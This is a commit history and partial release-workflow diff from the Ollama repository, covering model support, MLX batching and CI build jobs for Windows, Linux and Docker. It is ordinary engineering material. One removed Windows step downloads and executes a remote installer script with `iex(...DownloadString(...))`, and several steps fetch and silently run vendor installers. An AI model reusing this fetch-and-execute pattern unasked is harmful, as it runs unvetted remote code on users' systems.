Parth Sareen b6447caebc launch: use vram bytes for model recommendations (#15885) 2026-04-29 18:40:14 -07:00
Eva H bad32c7244 launch/docs: fix title for pool (#15883) 2026-04-29 17:18:44 -04:00
Eva H ab2e005bf7 app: align the app launch page with ollama launch (#15753) 2026-04-29 14:45:19 -04:00
Parth Sareen 321cc8a2ba server/launch: add model recommendations cache endpoint (#15868) 2026-04-28 17:09:04 -07:00
Daniel HiltgenandEva Ho 87288ced4f New models (#15861)
* mlx: add laguna model support

* convert: support fp8 safetensors import

Decode HF F8_E4M3 safetensors with block scale companions into GGUF-supported tensor types, and record which output tensors came from FP8 source weights.

Use that source-precision metadata during create quantization: default FP8-sourced GGUFs to Q8_0, keep non-FP8 tensors at their original precision for Q8_0, and promote non-FP8 quantizable tensors to Q8_0 for Q4_K requests.

* ggml: add laguna model support

* server: preserve generate logprobs with builtin parsers

Generate requests were dropping logprob-only chunks whenever a builtin parser buffered visible content. Chat already handled this case, but generate only forwarded chunks with visible response, thinking, or tool-call output.

Keep generate chunks that carry logprobs even when the builtin parser has not flushed visible content yet, and add a regression test that exercises the behavior with a generic thinking parser.

* review comments - perf improvements

* ggml: implement nemotron 3 nano omni

* add poolside integration

* update poolside doc

* adapt to new cache setup

* fix test

* fix test

---------

Co-authored-by: Eva Ho <hoyyeva@gmail.com>
2026-04-28 11:50:12 -07:00
Jesse Gross 2bbe2405fe mlxrunner: decouple models from attention cache storage layout
Models build their own attention masks and read K/V directly from
the cache's buffers, which ties them to the cache's storage layout.
That blocks multi-sequence batching — right-padded rows need a
query-padding mask composed onto every model — and rules out
variants like paged attention where K/V isn't one contiguous tensor.

Caches now hand back a per-layer KVHistory holding post-update K, V,
and a MaskApplier that merges the cache's storage restrictions into
the model's logical mask. Models describe their mask in logical
terms; SDPA composes model, padding, and applier contributions and
dispatches to the kernel's causal or no-mask fast path when it can.
KVHistory still exposes K, V, and the composed mask for manual
attention paths (e.g. CUDA prefill at head_dim > 128).

Performance for single-sequence inference is unchanged.
2026-04-27 20:04:46 -07:00
Jesse Gross bd21678b16 mlxrunner: apply RoPE at per-row positions
Switch RoPE from the scalar-offset kernel (mlx_fast_rope) to the
array-offset one (mlx_fast_rope_dynamic) so each batch row can start
at its own position. The pipeline tracks the current position locally
and passes it to the model through Batch.SeqOffsets; each model
materializes that slice into an int32 array for the RoPE call.

Single-sequence behavior is unchanged; this is the wiring needed
before the runner can batch independent sequences.
2026-04-27 20:04:46 -07:00
Jesse Gross 088dfd89a8 mlxrunner: wrap model forward inputs in a Batch struct
Gives a single extension point for per-call context (positions,
sequence IDs, masks) as multi-sequence batching grows, without having
to churn every model's Forward signature again.
2026-04-27 20:04:46 -07:00
Eva H 3cab8a7b02 app/server: fix desktop app startup killing active ollama launch sessions (#15657) 2026-04-27 22:52:53 -04:00
Daniel Hiltgen 03aee88186 mlx: Support NVIDIA TensorRT Model Optimizer import (#15566)
* mlx: Support NVIDIA TensorRT Model Optimizer import

* x/create: support FP8 safetensors import

Decode HF F8_E4M3 safetensors with block scale companions into MLX-importable tensor blobs, including compressed-tensors weight_scale metadata, packed NVFP4 layouts, and mixed-precision tensor headers.

Use that source-precision metadata during create quantization: default FP8-sourced imports to mxfp8, allow source FP8 to target MLX low-bit formats, preserve source-quantized NVFP4 layouts, selectively keep or promote tensors based on their source precision, and detect quantized dtype from mixed-precision safetensors manifests.

* review comments
2026-04-27 18:28:10 -07:00
Daniel Hiltgen ec9b4e9e47 tokenizer: fix multi-regex BPE offset handling (#15844)
Use the current fragment offset when emitting unmatched spans during multi-regex BPE splitting. This avoids duplicating earlier prompt text and inflating token counts for multi-stage BPE tokenizers.
2026-04-27 14:14:27 -07:00
Jesse Gross 4656a07e56 mlxrunner: batch the sampler across multiple sequences
Register sequences with Add/Remove; each Sample call takes any subset of
registered slots and samples one token per row, appending to each slot's
ring-buffer history. When all slots share Options and penalty rings are
full, one fused transform pass runs over the whole batch via a persistent
pooled history tensor; otherwise calls fall back to per-slot serial
processing indexed against the same pool.

Performance is unchanged for a single sequence, which is all that is
exposed for now.
2026-04-25 09:53:53 -07:00
Jesse Gross 30f86cb9dd mlxrunner: track sampler history in a fixed-size ring buffer
AppendToken used to concatenate the new token onto the history tensor
and slice it back to RepeatLastN every decode step, churning the graph
shape and reallocating a fresh tensor each call. The stateful penalties
don't care about order within the window, so a fixed-capacity ring with
one SliceUpdate per append keeps the tensor shape constant across
steps.
2026-04-25 09:53:53 -07:00
Parth Sareen ea01af6f76 openai: map responses reasoning effort to think (#15789) 2026-04-24 02:49:36 -07:00
Parth Sareen c2ebb4d57c api: accept "max" as a think value (#15787) 2026-04-24 01:49:39 -07:00
Parth Sareen 590109c835 launch: harden OpenClaw onboarding flow (#15777) 2026-04-23 16:47:20 -07:00
Eva H b4442c6d17 launch: resave managed integration config when live config drifts (#15776) 2026-04-23 19:32:36 -04:00
Eva H 85ff8e4a21 launch: keep launch recommended models in a fixed canonical order (#15750) 2026-04-23 16:33:00 -04:00
Parth Sareen 160660e572 launch: use bundled OpenClaw ollama web search (#15757) 2026-04-22 16:34:19 -07:00
madflowandParth Sareen 3b43b9bc4b docs: update structured outputs doc for cloud (#15733)
---------

Co-authored-by: Parth Sareen <parth.sareen@ollama.com>
2026-04-22 00:42:39 -07:00
Parth Sareen 21883571b7 launch: replace kimi-k2.5 with k2.6 as top recommended model (#15737) 2026-04-21 15:13:20 -07:00
Jesse Gross ce99f24731 mlxrunner: tokenize prompts in request handler goroutines
Move tokenization out of the single GPU processing goroutine and
into each request's HTTP handler goroutine. This allows the next
request's prompt to be tokenized on the CPU while the current
request is executing on the GPU.
2026-04-21 14:38:49 -07:00
Jesse Gross 04f5f0cdb4 mlx: improve thread safety of array management
Use atomic.Int32 for Array.pinned and a sync.Mutex for the global
arrays slice so MLX arrays can be created and pinned from multiple
goroutines without racing on those structures. Convert Array value
receivers to pointer receivers and struct fields from Array to
*Array to avoid copying the atomic.

This does not fully achieve thread safety even when building
completely independent graphs. The tracing flag and traceScratch
slice in compile.go are unprotected, so concurrent Compile calls
will race. MLX itself is not fully thread-safe either although
it is working to improve.
2026-04-21 14:38:49 -07:00
Matteo Celani fb36a01ffe app/ui: fix model picker showing stale model after switching chats (#15280)
* app/ui: fix model picker showing stale model after switching chats

Optimistic messages created during streaming were storing the full
Model object instead of the model name string. When switching back
to a chat with cached streaming data, the restore effect read an
object where it expected a string, causing the model picker to fail
matching and remain stuck on the previous chat's model.

* app/ui: fix two more instances of Model object passed as model name

Fix the same bug at lines 523 and 536 in the assistant_with_tools
event handler, where selectedModel (object) was used instead of
selectedModel.model (string).
2026-04-21 15:08:06 -04:00
Michael Verrilli 0c65ed33bc cmd: populate model capabilities in launchInteractiveModel (#15712)
launchInteractiveModel was introduced in PR #14609 without the
client.Show() capability-detection block that RunHandler uses.
This left opts.MultiModal always false in the TUI path, causing
image/audio file paths to always be treated as unknown commands
instead of being loaded as multimodal attachments.

Mirror the Show() call, pull-on-404 fallback, cloud auth handling,
and MultiModal/Think population from RunHandler into
launchInteractiveModel.

Fixes #15711
2026-04-21 14:37:36 -04:00
Jesse Gross 22d6c817f8 mlxrunner: fuse top-P and top-K into a single sort pass
When both filters are active, avoid paying for a full sort in top-P
and a partial sort in top-K. Single-filter paths are unchanged.
Improves generation throughput on gemma4:e4b by 1.5%.
2026-04-20 17:43:00 -07:00
Jesse Gross ca01373b28 mlxrunner: use MaxAxis in the min-P sampler
One reduction op instead of Argmax + TakeAlongAxis.
2026-04-20 17:43:00 -07:00
Jesse Gross 24e038d56a mlxrunner: add logprobs support
Match the ollamarunner and OpenAI semantics: raw, full-vocab log-softmax
with the top-K ranked by probability. Skipped on the GPU when the request
doesn't ask for logprobs so decode doesn't pay for it otherwise.
2026-04-20 17:43:00 -07:00
Parth Sareen 5d1021603a server: apply format when think=false for gemma4 (#15678) 2026-04-20 17:42:29 -07:00
Parth Sareen 8e05d734b9 launch: add kimi cli integration with installer flow (#15723) 2026-04-20 15:33:32 -07:00
Jesse Gross 05e0f21bec mlx: fuse sigmoid router head in glm4_moe_lite
DeepSeek-V2-style aux-loss-free routing computes sigmoid(gates) once but
needs it twice: the raw sigmoid output is gathered after top-k, while the
post-bias negation is the argpartition key. Fuse into a single multi-output
Compiled kernel returning both, saving two launches on the routing path
per token. Exposed as a general SigmoidRouter since the same pattern is
shared across DeepSeek-V2 descendants.

Improves glm4.7 generation performance by approximately 1%.
2026-04-20 15:02:14 -07:00
Daniel Hiltgen ff23dd343f mlx: apply repeat penalties in sampler (#15631) 2026-04-18 07:49:38 -07:00
Parth Sareen 123b300af6 docs: update hermes (#15655) 2026-04-17 14:20:59 -07:00
Parth Sareen 57653b8e42 cmd/launch: show WSL guidance on Windows instead of handing off (#15637) 2026-04-16 17:18:04 -07:00
Parth Sareen a50ce61c54 launch: skip unchanged managed-single rewrite (#15633) 2026-04-16 16:20:42 -07:00
Daniel Hiltgen 2bb7ea00d2 create: avoid gc race with create (#15628)
If you have a long running create, and start another ollama server with the
same model dir, the GC algorithm deletes the pending blobs and breaks the
create.  This adds a 1h grace period to avoid deleting in-flight creation
operations.
2026-04-16 13:29:16 -07:00
Daniel Hiltgen 55fa80d07a mlx: additional gemma4 cache fixes (#15607)
Harden additional corner cases
2026-04-16 13:07:19 -07:00
Daniel Hiltgen b9cb535407 mlx: fix gemma4 cache to use logical view (#15617) 2026-04-16 11:54:30 -07:00
Daniel Hiltgen 031baef094 mlx: fix imagegen lookup (#15588)
* mlx: fix imagegen lookup

Fixes #15533 - imagegen had fallen out of sync with the new layout
for multiple mlx libraries on Metal.

* review comments
2026-04-16 10:39:00 -07:00
7d271e6dc9 cmd/launch: add Copilot CLI integration (#15583)
---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: ParthSareen <parth.sareen@ollama.com>
2026-04-15 17:22:53 -07:00
Devon Rifkin c88dae2d6b Merge pull request #15612 from ollama/drifkin/gemma4-split-templates
gemma4: render differently based on model size
2026-04-15 17:15:35 -07:00
Devon Rifkin 9e3618d663 make empty block conditional 2026-04-15 15:35:25 -07:00
Devon Rifkin e585ecd11f gemma4: render differently based on model size
Following up on #15560, this change now has e2b/e4b render differently
from 26b/31b.

For backwards compatibility, we take the existing renderer name `gemma4`
and make it do dynamic resolution based on the model name/size, but the
intended use is for the models to be republished with the renderer
variant specified explicitly: `gemma4-small` or `gemma4-large`.
2026-04-15 14:37:16 -07:00
1436 changed files with 108265 additions and 438875 deletions

No files matched your search

+264 -106
View File
@@ -16,7 +16,7 @@ jobs:
outputs:
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
VERSION: ${{ steps.goflags.outputs.VERSION }}
vendorsha: ${{ steps.changes.outputs.vendorsha }}
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
steps:
- uses: actions/checkout@v4
- name: Set environment
@@ -24,7 +24,7 @@ jobs:
run: |
echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
darwin-build:
runs-on: macos-26-xlarge
@@ -57,7 +57,9 @@ jobs:
go-version-file: go.mod
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- run: |
./scripts/build_darwin.sh
- name: Log build results
@@ -73,15 +75,18 @@ jobs:
dist/*.dmg
windows-depends:
needs: setup-environment
strategy:
matrix:
os: [windows]
arch: [amd64]
preset: ['CPU']
build-steps: ['cpu cpuArm64']
include:
- os: windows
arch: amd64
preset: 'CUDA 12'
build-steps: cuda12
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
cuda-components:
- '"cudart"'
@@ -89,10 +94,10 @@ jobs:
- '"cublas"'
- '"cublas_dev"'
cuda-version: '12.8'
flags: ''
- os: windows
arch: amd64
preset: 'CUDA 13'
build-steps: cuda13
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cuda-components:
- '"cudart"'
@@ -103,23 +108,23 @@ jobs:
- '"nvvm"'
- '"nvptxcompiler"'
cuda-version: '13.0'
flags: ''
- os: windows
arch: amd64
preset: 'ROCm 6'
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
rocm-version: '6.2'
flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
runner_dir: 'rocm'
preset: 'ROCm 7'
build-steps: rocm7
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
rocm-version: '7.1'
- os: windows
arch: amd64
preset: Vulkan
build-steps: vulkan
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
flags: ''
runner_dir: 'vulkan'
- os: windows
arch: amd64
preset: 'MLX CUDA 13'
build-steps: mlxCuda13
build-parallel: '16'
cmake-cuda-flags: '-t 6'
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
cuda-components:
@@ -135,18 +140,34 @@ jobs:
- '"nvvm"'
- '"nvptxcompiler"'
cuda-version: '13.0'
flags: ''
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
environment: release
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- if: startsWith(matrix.preset, 'MLX ')
name: Increase pagefile to 200 GB
uses: al-cheb/configure-pagefile-action@v1.5
with:
minimum-size: 16GB
maximum-size: 200GB
disk-root: "D:"
- name: Install system dependencies
run: |
choco install -y --no-progress ccache ninja
if (Get-Command ccache -ErrorAction SilentlyContinue) {
ccache -o cache_dir=${{ github.workspace }}\.ccache
}
- if: matrix.preset == 'CPU'
name: Install Windows ARM64 cross compiler
run: |
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
id: cache-install
uses: actions/cache/restore@v4
@@ -195,12 +216,12 @@ jobs:
}
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
if (Test-Path $vulkanRuntime) {
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
}
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
- if: matrix.preset == 'CPU'
run: |
echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
- if: startsWith(matrix.preset, 'MLX ')
name: Install cuDNN for MLX
run: |
@@ -232,72 +253,63 @@ jobs:
with:
path: ${{ github.workspace }}\.ccache
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
- name: Build target "${{ matrix.preset }}"
- name: Build Windows dependencies
run: |
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
./scripts/build_windows.ps1 @steps
env:
CMAKE_GENERATOR: Ninja
OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- if: matrix.preset == 'CPU'
name: Verify Windows CPU payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- uses: actions/upload-artifact@v4
with:
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
path: dist\*
windows-build:
strategy:
matrix:
os: [windows]
arch: [amd64, arm64]
include:
- os: windows
arch: amd64
llvmarch: x86_64
- os: windows
arch: arm64
llvmarch: aarch64
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
runs-on: windows
environment: release
needs: [setup-environment]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
steps:
- name: Install ARM64 system dependencies
if: matrix.arch == 'arm64'
run: |
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
choco install -y --no-progress git gzip
echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
- name: Install clang and gcc-compat
run: |
$ErrorActionPreference = "Stop"
Set-ExecutionPolicy Bypass -Scope Process -Force
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
}
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- name: Verify gcc is actually clang
run: |
$ErrorActionPreference='Continue'
@@ -314,20 +326,30 @@ jobs:
with:
node-version: "20"
- run: |
./scripts/build_windows ollama app
./scripts/build_windows ollama ollamaArm64 app appArm64
- name: Verify Windows build payloads
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-arm64/ollama.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- name: Log build results
run: |
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
- uses: actions/upload-artifact@v4
with:
name: build-${{ matrix.os }}-${{ matrix.arch }}
name: build-windows-amd64
path: |
dist\*
windows-app:
runs-on: windows
environment: release
needs: [windows-build, windows-depends]
needs: [setup-environment, windows-build, windows-depends]
env:
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
@@ -353,7 +375,9 @@ jobs:
go-version-file: go.mod
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- uses: actions/download-artifact@v4
with:
pattern: depends-windows*
@@ -367,6 +391,18 @@ jobs:
- name: Log dist contents after download
run: |
gci -path .\dist -recurse
- name: Verify Windows package inputs
shell: bash
run: |
set -euo pipefail
for payload in \
dist/windows-amd64/ollama.exe \
dist/windows-amd64/lib/ollama/llama-server.exe \
dist/windows-arm64/ollama.exe \
dist/windows-arm64/lib/ollama/llama-server.exe
do
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
done
- run: |
./scripts/build_windows.ps1 deps sign installer zip
- name: Log contents after build
@@ -380,20 +416,33 @@ jobs:
dist/*.ps1
dist/OllamaSetup.exe
linux-build:
linux-depends:
strategy:
matrix:
include:
- os: linux
arch: amd64
target: archive
- os: linux
arch: amd64
target: rocm
- os: linux
arch: arm64
target: archive
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
- arch: amd64
target: llama-server-cpu
- arch: amd64
target: llama-server-cuda_v12
- arch: amd64
target: llama-server-cuda_v13
- arch: amd64
target: mlx
- arch: amd64
target: llama-server-rocm_v7_2
- arch: amd64
target: llama-server-vulkan
- arch: arm64
target: llama-server-cpu
- arch: arm64
target: llama-server-cuda_v12
- arch: arm64
target: llama-server-cuda_v13
- arch: arm64
target: jetpack-5
- arch: arm64
target: jetpack-6
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
environment: release
needs: setup-environment
env:
@@ -401,80 +450,114 @@ jobs:
steps:
- uses: actions/checkout@v4
- uses: docker/setup-buildx-action@v3
- uses: docker/login-action@v3
with:
username: ${{ vars.DOCKER_USER }}
password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
- if: matrix.target == 'mlx'
name: Increase Linux swap to 200 GB
shell: bash
run: |
set -e
SWAP_PATH=/swapfile-mlx
SWAP_SIZE_GB=200
if [ -f "$SWAP_PATH" ]; then
sudo swapoff "$SWAP_PATH" 2>/dev/null || true
sudo rm -f "$SWAP_PATH"
fi
if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
echo "fallocate unsupported, falling back to dd"
sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
fi
sudo chmod 600 "$SWAP_PATH"
sudo mkswap "$SWAP_PATH"
sudo swapon "$SWAP_PATH"
swapon --show
free -h
- uses: docker/build-push-action@v6
with:
context: .
platforms: ${{ matrix.os }}/${{ matrix.arch }}
platforms: linux/${{ matrix.arch }}
target: ${{ matrix.target }}
provenance: false
sbom: false
build-args: |
GOFLAGS=${{ env.GOFLAGS }}
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
cache-to: type=inline
- name: Deduplicate CUDA libraries
run: |
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
- run: |
for COMPONENT in bin/* lib/ollama/*; do
case "$COMPONENT" in
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
lib/ollama/rocm) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
esac
done
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
- run: |
echo "Manifests"
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
echo $ARCHIVE
cat $ARCHIVE
done
- run: |
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
done
- uses: actions/upload-artifact@v4
with:
name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
path: |
*.tar.zst
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
cache-from: |
type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
# Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
# Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
# and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
docker-build-push:
strategy:
matrix:
include:
- os: linux
arch: arm64
archive-target: archive
build-args: |
CGO_CFLAGS
CGO_CXXFLAGS
GOFLAGS
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
cache-from: |
type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
type=registry,ref=ollama/release:cache-arm64-jetpack-5
type=registry,ref=ollama/release:cache-arm64-jetpack-6
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
- os: linux
arch: amd64
archive-target: archive
build-args: |
CGO_CFLAGS
CGO_CXXFLAGS
GOFLAGS
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
cache-from: |
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
type=registry,ref=ollama/release:cache-amd64-mlx
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
- os: linux
arch: amd64
suffix: '-rocm'
archive-target: image-archive
build-args: |
CGO_CFLAGS
CGO_CXXFLAGS
GOFLAGS
FLAVOR=rocm
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
OLLAMA_MLX_BUILD_JOBS=16
OLLAMA_MLX_NVCC_THREADS=6
cache-from: |
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
